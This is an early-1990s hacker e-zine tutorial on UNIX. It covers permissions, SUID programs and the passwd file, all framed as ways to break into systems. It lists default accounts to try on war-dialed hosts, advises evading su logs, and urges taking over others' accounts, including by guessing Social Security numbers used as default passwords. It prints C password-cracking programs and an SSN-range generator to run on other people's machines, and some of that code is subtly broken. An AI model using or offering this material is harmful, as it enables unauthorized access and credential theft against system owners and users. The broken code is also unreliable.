DnA 7-2: Practical UNIX Tutorial
1-31-94
By Zephyr
DISCLAIMER PROC USES BX DX ES
This file can be used in any way you want. Typically, you would read it, but the particular implementation is up to you. Obviously I'm not responsible for what you do with the information contained herein. I don't advocate breaking any laws or statutes; And please: 'Think before you Drink'!
DISCLAIMER ENDP
In this text, I will describe some of the most useful features of the UNIX operating system and also it's most common weaknesses. I won't try to explain everything, or tell all the ways in, as it's impossible to describe them all. Nor will I try to tell you about all the latest bugs in the system, like the recent, and well publicized sendmail bug. Bugs come and they go, but your knowledge of the system will remain constant. If you can understand the system, you can also undermine the system. Why would you want to know UNIX, an operating system named after castrated men? Well, the majority of the systems on the internet are running UNIX. If you don't know what the internet is, it's time to find out. The internet is truly the network of networks. It connects just about everyone in the world together. It allows people from coast to coast, and even around the world to share info. It's also totally free to you IF you get yourself an account on the net. The internet allows you to go anywhere, and do anything for free. There are no connect charges for the net. Only the people who provide you the account are the only ones who might try to charge you. Typically, students at colleges can get access for free. There are a lot of systems that will charge you a nominal fee to access the net, but hey, you're a hacker: why pay for what should be free right?
Ok, with that out of the way, let me describe the way the UNIX caste system works. First of all, there's the most powerful user on the system, often termed the super-user. The one thing that identifies him as the super-user is the fact that his User ID(UID) is 0. This user is absolutely always named 'root', but this is not required. ANYONE, no matter what your login name is with UID 0 is the super-user, and can do what he wants to the system. You don't need to be named root to be logged in as the super-user . As you probably guessed, this is what you want. How much time you're willing to spend is the telling factor as to whether you'll get in or not. There are other users on the system, which is what you'll get if you are given an Email account. Generally, the higher the UID, the less powerful the user. The UNIX system also has something called a group ID(GID). The different groups can decide what files you have access to. Functionally, the UNIX command system is quite similar to the DOS one you are likely well versed in. This is nice for those of you who know every little in and out of DOS. All that info will come in handy when learning UNIX. Even if the command isn't the same, it will have the same sort of structure or feel. The command prompt is a percent sign (%) on most systems. This is the standard prompt for the 'csh' shell. Shells in UNIX are basically the same as COMMAND.COM in DOS, except quite a bit more powerful. (As a point of interest, the prompt for the super-user is a hash symbol (#) ) The commands for DOS can often be translated directly to UNIX commands.
For instance, here is a small list of the most often used ones:
TYPE [FILE2] = CAT [FILE1]
DEL [FILE1] = RM [FILE1] [FILE2] [FILE3] etc.
MKDIR [DIR] = MKDIR [DIR]
RD [DIR] = RMDIR [DIR]
CD [DIR] = CD [DIR]
DIR [DIR] = LS [DIR]
CLS = CLEAR
CHKDSK = DF or DU
FC [FILE1] [FILE2] = COMP [FILE1] [FILE2]These are the ones you'll use often enough that you'd want to memorize them. Of course, if you want to liberate systems, you'll want to memorize these and much more.
Now on to the file system. As you are probably familiar with DOS, the UNIX system is very easy to learn. There are a couple of minor differences, but nothing too drastic. Basically DOS mimics the way the UNIX file system works. In DOS, you are used to using drive letters and back-slashes '\' to represent where you are or want to go. Well, UNIX doesn't use drive letters at all. It allow more than one drive, but it essentially uses a volume label to distinguish between the disks. You don't really need to bother yourself with the different drives, since they will all appear to be the local drive at once on your system. You wont need to type anything to access the other file systems, just saving in certain directories will do that. But, like I said, you don't really need to concern yourself with this. Just as in DOS, there is a root directory. As in DOS, it's denoted with a single slash. However, the other major difference in the UNIX file system is that it uses forward slashes instead of back. '/' instead of '\' It may take a while, but you'll get used to it eventually. So, the root directory is directory '/'. Your account is located somewhere behind the root directory in something like '/usr/pa03/myaccount'. This is your 'home' directory. If you are elsewhere in the system, and you want to return to your home directory, just type in 'cd' and hit enter. If you don't give UNIX a parameter with that command, it assumes you want to return to your home directory.
There are other aspects of the file system we need to consider here. UNIX allows you to have longer file names than DOS does. With DOS, you are limited to 8 characters, followed by a period, and three more characters. In UNIX, you can have names as long as you'd like. The limit is generally 256 characters, depending on the system you're on. Another important point with UNIX is that it's case sensitive, meaning it DOES care whether or not you type 'LS' or 'ls'. The first one (LS) will return an error, saying the command doesn't exist, and the latter will work(ls). This is the same with files. You need to type in the file names exactly, including the case of them. If capitalized, you must type them that way to access them.
As in DOS, there are different classes of files in UNIX. DOS allows hidden, read-only, system and archive file types. UNIX has all this and more. To make a directory or file hidden, it simply needs to contain a period as the first character of it's name. For instance, typing: 'mkdir .hidden' would make a directory in the current directory with the name .hidden which doesn't show up on regular directory scans using 'ls'. UNIX has a lot more restrictions when it comes to protecting files. There are 3 sets of restrictions. The first tells the system whether or not the person who owns the file can read, write or execute it. The second tells whether or not a person in the same group as the owner can read, write or execute it. And the third tells whether or not a user outside of the owner's group can read, write or execute it. Let's look at a directory display to help me illustrate this point.
% cd /etc
*********************Here I change to the /etc directory, where there's lots of cool files. I use a 'ls -laF', which is the way a way to display a directory nicely. The l parameter puts it into a format so you can see info about the file, including it's permissions. The 'a' parameter displays the files that start with a period. The last F parameter puts a slash next to directories, and puts asterisks next to executable files. As I said above, there are three sets of permissions. Let's dissect this display.
*********************
% ls -lFa
total 5315
drwxr-xr-x 7 root wheel 1536 Jan 31 15:36 ./
drwxr-xr-x 17 root wheel 512 Jan 21 14:12 ../
-rwxr-xr-x 1 root wheel 69 Apr 11 1993 START-XDM*
-rw-r--r-- 1 bin bin 2384 Nov 4 17:39 aliases
-rw-r--r-- 1 root wheel 11264 Jan 29 16:56 aliases.db
drwxr-xr-x 2 root wheel 512 Mar 28 1993 amd_samples/
-rw------- 1 bin bin 343 Mar 27 1993 crontab
*********************There's more in the listing, but this is enough to serve our purpose. If we look at this listing, we see a couple of files, as well as a directory. Directories can be distinguished from files since their first attribute is a 'd'. In this case, when you use the 'F' parameter in 'ls', you get a slash after the directories in the listing. For instance, above, we see the directory 'amd_samples'. There are two other directories, but they are the current directory './', and the parent directory '../', which have very similar notation in DOS. The 3 sets of 3 permissions I spoke of above are listed after the first character on each line of the listing. There are a total of 9 different permission slots, shown below.
-rw-r--r-- 1 bin bin 2384 Nov 4 17:39 aliases
|||||||||Here we see the permissions of bits the file.
- rw- r-- r-- 1 bin bin 2384 Nov 4 17:39 aliasesHere I've separated the permissions into logical sets. The first set tells the system what kind of file it is. It can be a file, a link or a directory. A regular file is indicated with a -, a directory with a 'd', and a link with an 'l'. The next 3 sets of permissions are the 3 I mentioned above. The first one tells UNIX what the owner of that particular file can and can't do to it. For this example, the owner, whose permissions are in the first set can read and write to this file, but can't execute it, since there is no x in the first set.
- rwx r-x r-x 1 root wheel 69 Apr 11 1993 START-XDM*
|Here is an executable. It's got an executable attribute. The other 2 sets of permissions work the same way, but they pertain to different users. The second has the same sets of permissions, but pertains only to users other than the owner of the file, but in the same group. The last set is everyone else. If the last bits are set, anyone has access to that file.
Same
Group-\ /-Other Groups
| |
- rwx r-x r-x 1 root wheel 69 Apr 11 1993 START-XDM*
|
\-OwnerAssuming you own a file, you can change it's attributes readily, using the chmod command. You use this to set each set of permissions separately. The easiest way to do this is to use the numbering system to decode permissions. Here is a table describing them:
Number Permissions
----------------------------------------
0 None
1 Execute only
2 Write only
1+2=3 Write and execute
4 Read only
1+4=5 Read and execute
2+4=6 Read and write
1+2+4=7 Read, write and executeWith this system, we can use numbers to assign a file it's permissions. 0, 1, 2, and 4 are the basic permissions, and if you want to give the file more, you add the other permissions you want. To make it readable and writable, you use 6, since 2 is write, and 4 is read, and 2 + 4 is 6. Let's look at what this is like on the command line. If we have the file named hosts, and you want to change it's permissions. On most systems, you don't own the hosts file, the root user does (super-user).
-rw-rw-r-- 1 root wheel 7836 Oct 7 11:29 hostsIf we want to change this so it is executable (it's not an executable type of file, but it'll do for our purposes), we should figure the current permissions, and add the ones we want to it. We need to own the file we're changing, so we'll assume we are logged in as root. So, lets figure the current file permissions, and add the executable bit to it. For the owner permissions, we see that it is readable and writable, which is file permission 6. The second one, the inclusive group permission, is the same, 6. The last one, however, is only readable by users outside the users group, which is 'wheel'. This is printed next to the owners's login name in the directory listing, as above. Readable only is 4. So, the current file's status is '664'. To add the executable bit to any one of the sets simply requires adding a 1. So, if we want to be able to execute this file ourselves, but not let anyone else do so, we would type:
CHMOD 0764 hostsThis would let the owner execute the file, but wouldn't change any of the other attributes. The first 0 in the command line is the SUID/SGID bit. It is similar to the other attributes, but more interesting. It allows the file, when executed to run as another user. This may sound confusing at first, but it's an important piece of information to know. Having an SUID program means that if you, some joe blow user with little access execute the file, it will turn you into some other user, typically the root user for the duration of the program's execution. ANYTHING the program does in or to the UNIX system will be done as another user, usually as root. The 'su' command is a good example of this. The 'su' command is SUID root. The 'su' command is the one that lets you switch between users. If you know someone's password, you can use 'su' to switch yourself into their account. For instance, if you're logged in with any account name, you can try to logon to another one by typing SU [account]. If you leave out the [account], it assumes you want to log in as root. The only way this file can read the passwords of users is if it is executing as root. No one else has permission to read the shadow password file, which will be mentioned later, perhaps in another article. As a point of interest, don't try to hack a system using 'su' a lot of times, since it's logged, and it's one that is checked often by just about every system admin. It contains the time that SU was executed, who you were su'ing to, and whether or not you were successful. It's REALLY obvious you're hacking their system if they see a bunch of unsuccessful attempts in a row by you. On to the Octal permissions for SUID/GID:
Number Permission
------------------------------------------
0 No SUID/SGID or sticky bit
1 Sticky bit
2 Set Group ID (SGID)
4 Set User ID (SUID)The sticky bit is basically useless to you. It just keeps certain programs in memory even when it's done executing. This is supposed to speed up access on programs everyone uses a lot. It's totally useless to the non system admin. It's not even very important any more, as memory management techniques have made it almost obsolete. Set group ID is also almost useless to you. You don't see too many files that just change the group upon execution. It's not entirely useless, because getting the wheel group ID. The SUID programs are the ones that are most easily abused, the most likely to cause problems in security. Since they execute as high level users, you can sometimes find ways to get them to read or write files that you normally can't access, like the passwd file. You should poke around with executables which are SUID to see if you can do cool things with them. To set a program as SUID, use the appropriate code in the chmod command.
To make hosts into an SUID program, type:
CHMOD 4777 hostsThen, whenever anyone tries to execute it, they will be turned into the root during execution. Doing this will change how the file listing looks. A SUID/GID program will place an 's' in the spot where the 'x' would normally go.
Let's look:
-rwsrwxrwx 1 root wheel 7836 Oct 7 11:29 hostsAs we set the file, it is now only SUID, not SGID, since we used the octal permission 4. Only the 'x' in is replaced. If the second were replaced, then it would be SGID as well. The last 'x' will be replaced with a 't' to denote a sticky program.
Now that we have at least a working knowledge of the file system, let's look at a typical logon:
-------------------------------------------------------------------------
UCXX private
annex: rlogin system
user: johnp
Password:
Last login: Mon Jan 31 10:49:28 from dialin1
Copyright 1992,1993 Berkeley Software Design, Inc.
Copyright (c) 1980,1983,1986,1988,1990,1991 The Regents of the University
of California. All rights reserved.
BSDI BSD/386 1.0 Kernel #0: Mon Jan 10 10:46:30 PST 1994
You have mail.
Disk quotas for user johnp (uid 11436):
Filesystem blocks quota limit grace files quota limit grace
/ 0 1 1 1 3 5
/usr 338 850 1000 13 400 450
/var 10 850 1000 1 50 100
Terminal type is vt100
========================================================================
QUOTAS have been implemented on all filesystems, including /tmp. If you need temporary storage, the filesystem /scratch is available on a first-come, first-serve basis. All old files will be removed from /scratch on a daily basis.
========================================================================
Account information for user: johnp
Remaining allocation for johnp was 9.62 units
as of Mon Jan 31 07:07:14 1994
=============================================================
For details about account balance, please type: help balance
=============================================================The logon screen is a lot of info to offer about the system. Whenever you log on, (or watch someone else long on) it tells you the last time you logged on. This is basically a security feature to detect whether or not you were the last person to access your account. If you look at the last logon time and see some strange time and date, you know someone probably hacked your account. Luckily, rarely does anyone look at this info. It's just too time consuming when you're logging in. You'll find you disregard this info along with the rest of us so it's not a very important problem for system crackers. Next, we see what type of system we're logging into, which is BSD 386 V 1.0 in this case. Then you see that this version of UNIX is owned by the elitist, powermonger bastards named the UC Regents. This is the group of people who get your money when you go to any UC school. The system then tells me that I have unread mail, and goes on to display the file system for this host. In the root system, I have basically no write access anyway, so it's not important. The system gives me 850k of space in both /var and /usr systems, with an upper limit of 1 meg. If I try to write to these systems when I have a meg stored there, it will give me an error message and stop the write. Then it gives me logon messages telling me I can use the scratch directory for temporary storage. This is a neat thing to take advantage of. If you have a large file that wouldn't fit in your file quota, put it in the /tmp directory, and it's not counted against you as file space. It's a great place to do processing of large files. Leaving files in the /tmp directory is not recommended, as the sysadmin will delete them eventually. The next thing we see in the logon screen is the limits set on the time you have online. Often college systems will try and limit you to a certain amount of time online. There's no good reason to do this, but they like to do it anyway. This is a good reason to hack out other people's accounts. Then the system drops you to the command prompt(%), allowing you to do as you please.
The more mundane aspects of using systems will have to be learned as you go. Doing file management takes some time to learn, but is generally very easy. Use the commands the same way you would in DOS, and experiment.
Now I'm going to discuss the more security related issues to using UNIX systems now. Probably the most well know fact about UNIX systems are that they have a passwd file you can see in the /etc directory. On older systems, you can actually read the file, and see the passwords with one exception: they're encrypted with modified 25 iteration DES. DES is the Data Encryption Standard. It's used by banks and other agencies for digital transactions. It's not the most secure encryption around, but there doesn't appear to be any good way to short cut it. Each UNIX password is 8 characters maximum. The minimum is usually 5 or 6, most likely the latter. You might have heard about password crackers on boards you're on, and wondered what they do. They don't actually try and decrypt the passwords. What they do is try encrypting a bunch of passwords and checking to see if they match the ones on the system. As it turns out, this is what the UNIX system does itself. It encrypts the password users enter, and check to see that it matches the one in the passwd file. Remember this. Anyone who says they can decrypt 25 iteration DES is lying through their teeth. Doing a brute force attack on a UNIX system is generally not possible, since there are just too many passwords to try. Only if you can narrow down the search will you have any success with a password cracker. Assuming you only want to try searching for letters alone, with no upper case, numbers, or punctuation, there are a total of 208,827,064,576. That's a lot of passwords to try. The max anyone's ever done in terms of encryption speed is about 50,000 a second. This seems like a lot, but consider it would take almost a year to try all the possible passwords for one account. Of course, you could find it at any time, and after half a year, you would be more likely to have found it than not. But, you don't have half a year of super-computer time most likely. If you did, you wouldn't bother hacking some silly UNIX system. Take into account that most systems don't let a user enter a password without some non-lowercase character in it. This means it has to have at least ONE upper case letter, or a number, or some sort of punctuation. Some systems try to enforce good passwords, but the system doesn't affect the root user, so he can have any password. Also, any account he creates can have any password he chooses, since the password program doesn't restrict his input. You'll see systems that check a large dictionary to make sure that users don't try to use an easily guessed password. These are often the hardest systems to crack, unless you know something you're not supposed to, like how they issue accounts. Some campuses give the accounts to people with the default password being their Social Security Number.(Yes, they chop the last digit off, since the SS# is 9 digits) Having someone's SS# can be handy in itself. Look at some other DNA articles to see how to use this info 'wisely'. Most systems don't let you steal their password file however, and these systems are much harder to get a handhold in. Once you have one account on a system, you should be able to get more.
I've already discussed SUID programs, which are some of the best ways to get into systems, and the hardest to detect. Another way is trying the default account names using simple, easy to guess passwords. If you find a system which seems insecure, try using some of the obvious defaults, like:
- daemon
- root
- uucp
- nuucp
- bin
- sys
- op
- games
- quota
- ftp
- demo
- guest
- anonymous
- acctgmgr
Some systems will actually leave these accounts unpassworded. If you try war-dialing an area and find a UNIX system, try these on them. Getting inside info on the system would help of course, but it's not always easy. Actually, it rarely is.
Here is a sample piece of a passwd file:
-------------------------------------------------------------------------
root:*:0:0:System Administrator:/root:/bin/csh
daemon:*:1:1:The devil himself:/:
sys:*:2:2:Operating System:/tmp:/bin/csh
bin:*:3:7:Binaries and Commands:/:/bin/csh
uucp:*:4:1:UNIX-to-UNIX Copy:/usr/spool/uucppublic:/usr/lib/uucp/uucico
op:*:5:5:Smooth Operator:/usr/u2/zzmaster/op:/bin/csh
news:*:6:8:News System:/software/common/lib/news:/bin/sh
games:*:7:13:Games Pseudo-user:/usr/games:
quota:*:8:20:Quota system template:/nonexsistant:/dev/null
demo:*:10:13:Demo User:/usr/demo:/bin/csh
ftp:*:15:20:Anonymous Ftp:/var/ftp:/dev/null
s:*:20:20:S system:/usr/local/lib/s:/bin/csh
acctgmgr:*:30:30:Accounting manager:/usr/spool/acctdata:/bin/csh
All lower level subservient (l)users.
-------------------------------------------------------------------------There are seven fields in a passwd file. Each area is separated from the others with a colon. First is the account name, and next is the encrypted password. This example is a shadow password system. You can tell, because the area where the password should be is an asterisk. The password itself is actually kept in a file typically called 'shadow', or 'master.passwd'. The name can vary: Just look and see which files you can't read as a normal user. The next area is the person's UID, the next is the GID. Next comes the person's name or info. Then comes the user's home directory, and last is the user's default shell. The shell is what is executed as soon as the user logs in. Typically, it is /bin/csh which is the command interpreter for UNIX. Some accounts have a single program attached to them. For instance, the 'sync' user is not really a user, but an account name, that when logged into, runs the sync command as the shell. Then as soon as the sync command is done executing, it drops you from the system.
On to some programming info in UNIX. Some of the first versions of the UNIX operating system was written the the C programming language. C was written almost expressly for making UNIX portable. The tradition of writing things in C with UNIX has continued on to this day. The library of functions available to you in UNIX are considerable. If you've got a system that doesn't shadow passwords, or you can somehow grab the passwords, you can use the system to actually hack itself. You write yourself a little hacking program to run even after you log off. This is one of the coolest ways to get into a system. You can just let it work on it's own passwords. My first experience in this was from 'Practical Unix Security' by Garfinkel and Spafford. They've got a great little book, published by O'Rielly and Associates. (ISBN: 0-937175-72-2) It's really a cute little book; it's 450 pages of how to hack UNIX systems, or how to keep hackers out of UNIX systems, depending on who you are. In the first couple of pages they make the claim that the book would be useless to hackers, and then proceed to give source code for hacking the system online in the background. Here is their original code, named 'joetest.c'. This little program can teach you a lot, even without any manuals. This is reprinted with, well, not much permission.
#include <stdio.h>
#include <pwd.h>
main()
{
struct passwd *pw;
printf("Scanning...\n");
while(pw=getpwent()){
char *crypt();
char *result;
if(pw->pw_passwd[0]==0){
printf("%s has no passwd\n",pw->pw_name);
continue;
}
result=crypt(pw->pw_name,pw->pw_passwd);
if(!strcmp(result,pw->pw_passwd)){
printf("%s is a Joe!\n",pw->pw_name);
}
}
}You see that there is a header file for the password encryption algorithm. Instead of having to write the algorithm for encrypting passwords, you can use the libraries included with UNIX to do the work for you. This program is capable of encrypting, and checking passwords even though it's very small. The crackers for DOS, which don't have the libraries to work with are about 50k of source for the encryption routines. This is often the case in UNIX, what you want to do is already available to you. Most functions have library calls already associated with them to make coding them very easy. The program above does a couple of things, first it defines an array called pw of type passwd, which keeps info on the current account. There are multiple sections to the array, which can be accessed separately. Next, it starts going through the accounts in the passwd file one at a time. It checks to see if there is a password present, and if there is, it will try encrypting the person's name as their password. If it turns out to be their password, it will display the string: [user] is a Joe! You know their logon name and their password then. Unfortunately, no one uses their logon name as their password. At least no system you want to hack will. So, I modified it so it will take input from stdin and try encrypting it. If it finds an account, it will report it by typing to standard out. I have used this program to hack over long weekends when no one would be on the system, and I could dedicate it to hacking itself. Here is the code:
#include <stdio.h>
#include <pwd.h>
main()
{
char *result[9];
struct passwd *pw;
char *crypt();
while(gets(result))
{
while(pw=getpwent()){
if(pw->pw_passwd[0]==0){
printf("%s has no passwd\n",pw->pw_name);
continue;
}
if(!strcmp(crypt(result,pw->pw_passwd),pw->pw_passwd)){
printf("%s--%s\n",pw->pw_name,result);
}
}
setpwent();
endpwent();
}
}What this code does is check whatever passwords you give it. It pulls passwords in from stdin. You just have a file, or some sort of password generator online(described later), and pipe the input into this program just like you would with any other filter. The pipe commands in UNIX work the same way they do in DOS, by passing info through the stdin and stdout. If there is demand, this code could be modified to take input directly from a file, but for the most part, this will work quite well. It's a very simple program, but it will work cleanly, and it doesn't hurt you to run it in the background on someone else's computer. See what you come up with. As I looked around at the different systems in my area, and I got some accounts on them randomly, I noticed that they were issued by SS#, so I wrote this filter to go with my PW testing program. It just spits out #'s to stdout, starting and ending where you want. You can then pipe this directly into the PW testing program, which takes info from stdin.
#include <stdio.h>
void main(void)
{
int a,b,c,d,e,f,g,h;
char result[9];
result[8]='\0';
for(a=53;a<=53;a++){
result[0]=a;7
for(b=52;b<=55;b++){
result[1]=b;
for(c=48;c<58;c++){
result[2]=c;
for(d=48;d<58;d++){
result[3]=d;
for(e=48;e<58;e++){
result[4]=e;
for(f=48;f<58;f++){
result[5]=f;
for(g=48;g<58;g++){
result[6]=g;
for(h=48;h<58;h++){
result[7]=h;
puts(result);
}}}}}}}}
return;
}The ASCII scan codes for the numbers are:
48: 0
49: 1
50: 2
51: 3
52: 4
53: 5
54: 6
55: 7
56: 8
57: 9Using this, you can generate passwords easily. I have it set to generate passwords between 55000000 and 57999999. This is a LOT of passwords, and took me weeks to run. Eventually, this sort of thing can pay off. Using even more info helped me do it quicker though. Knowledge of how SS#'s are distributed is nice to know, and helps limit the search. That's basically the name of the game when it comes to cracking passwords. How can you limit the search? Using a dictionary almost always turns up a few passwords on just about every system I've ever been on. It often turns up root passwords since the admin doesn't have any restrictions on choosing his password. He can put down any old easy to remember word.
Besides C, UNIX has a host of other programming methods, including awk, perl, sed, and shell scripts. Each has their own charm and wit. You'll find each takes some time to learn.
Well, it's been quite a long little article here. I hope it's been informative, and perhaps even a little helpful for you. People who already knew UNIX probably found this boring, but it's not written for them. People who know UNIX read books which have far more content than I put into a Emag article. It seems like the Internet is exploding right now. Apparently, there is about a 20% growth rate in use PER MONTH right now. Yes, the internet's traffic doubles about every 4 months. Sounds pretty incredible, but it's true. I suggest you all get on before the government trashes it beyond belief. How long it will remain an ungoverned retreat no one knows. Some day, however, government bureaucracy will destroy what the net is now. Get out there while you can! If you are interested in the Internet, and want to get started, try giving one of your local Inet carriers a call and see what their rates are. It may cost you a couple of bucks to get started, but you can split it with your friends, and share the account. It's nice to have your own account, but you can give up the account after you've gained others. There are a number of services that will let you get to a telnet prompt to telnet to your system from a local dialup. Ask your local college for their dialing at their computer science department. To get involved, you need to read about UNIX. Some books I would suggest to you for learning UNIX, and the internet in general are:
- The Whole Internet by Ed Krol. Published by O'Reilly and Associates This is a good overview of how to get around the net. When you first get an account, it will seem entirely useless to you until you learn who to talk to and how. Getting involved takes some time, but it pays off. This has a listing in the back of some interesting FTP and telnet sites for you to check out. It's clearly written, and easy to understand, particularly for someone with a computer background, like yourself.
- Practical Unix Security by Simson Garfinkel, and Gene Spafford. Published by O'Reilly and Associates. I was amazed that this was freely available at most college book stores in the computer section. It's the fastest, most complete way to get a view of how computer security works on corporate and campus networks. It gives overviews of how to secure your system from those nasty system crackers, and gives accounts of what kind of attacks they are likely to try, and what kind of tools they use to do their nasty deeds. All matter of attacks and solutions are presented here. Fabulous general overview!
- UNIX for Dummies. IDG Books. Yeah, you thought this line was only for Dummies. Well, if you are, admit it, and buy it! It's a great little reference when you're just learning the OS. It's got most of the common commands, and tells most if not all the parameters associated with it. Between it and the 'man', I was able to figure out just about all the commands I needed.
- UNIX programmer's reference. Que books. If you want to try to get in through some of the system functions, here is your way in. This describes in great detail all the C function calls in UNIX, and a large group of other methods of programming the environment, including shell writing, awk and sed. It's most impressive and most complete section is on C though.
- Managing NFS and NIS by Hal Stern. Published by O'Reilly and Associates. Every boring detail of how to use and maintain NFS and NIS. For those who want to try to learn how those computers can keep their file systems straight, this is a great reference. It's not exactly fun reading, but it's got some great info in it for you. NFS and NIS attacks about the most advanced attacks available right now. It's not easy, but it's not easy to be caught either.
- Programming Perl by Larry Wall and Randal L. Schwartz. Published by O'Reilly and Associates, again. For those who know C, awk, sed or any of those esoteric languages, this will beat them all. Perl is a strange language, but it sure gets the job done when you want it to. You may find the SUIDPERL program on your system, and having a knowledge of PERL can be really helpful in liberating a system.
Good luck, and hope you enjoyed the article! I can be reached on Digital Decay if you have questions or comments.
Zephyr
